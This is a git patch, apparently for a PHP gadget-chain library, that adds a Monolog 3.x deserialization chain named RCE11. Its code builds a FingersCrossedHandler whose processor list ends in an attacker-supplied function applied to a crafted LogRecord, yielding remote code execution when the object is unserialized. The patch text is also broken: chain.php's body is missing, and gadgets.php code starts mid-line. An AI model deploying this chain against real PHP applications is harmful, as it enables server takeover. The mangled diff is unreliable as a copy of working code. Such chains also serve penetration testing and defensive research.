From 5b1e6055144a50032370702604e313fb017bbd7b Mon Sep 17 00:00:00 2001 From: Alexandros Mitsouli Date: Sat, 11 Apr 2026 11:27:23 +0300 Subject: [PATCH] Monolog/RCE11: processors-based FunctionCall chain (3.0.0-3.10.0+) --- gadgetchains/Monolog/RCE/11/chain.php | 25 +++++++++++++ gadgetchains/Monolog/RCE/11/gadgets.php | 47 +++++++++++++++++++++++++ 2 files changed, 72 insertions(+) create mode 100644 gadgetchains/Monolog/RCE/11/chain.php create mode 100644 gadgetchains/Monolog/RCE/11/gadgets.php diff --git a/gadgetchains/Monolog/RCE/11/chain.php b/gadgetchains/Monolog/RCE/11/chain.php new file mode 100644 index 00000000..b8e3654e --- /dev/null +++ b/gadgetchains/Monolog/RCE/11/chain.php @@ -0,0 +1,25 @@ +datetime = new \DateTimeImmutable(); + $this->level = \Monolog\Level::Debug; + $this->formatted = $cmd; + } + } +} + +namespace Monolog\Handler { + class FingersCrossedHandler + { + protected \Monolog\Level $passthruLevel; + protected $handler; + protected bool $buffering = true; + protected bool $stopBuffering = false; + protected array $buffer; + protected array $processors; + protected bool $bubble = true; + + public function __construct(string $function, mixed $parameter) + { + $this->passthruLevel = \Monolog\Level::Debug; + $this->handler = $this; + $this->buffer = [new \Monolog\LogRecord($parameter)]; + $this->processors = ['get_object_vars', 'end', $function]; + } + } +}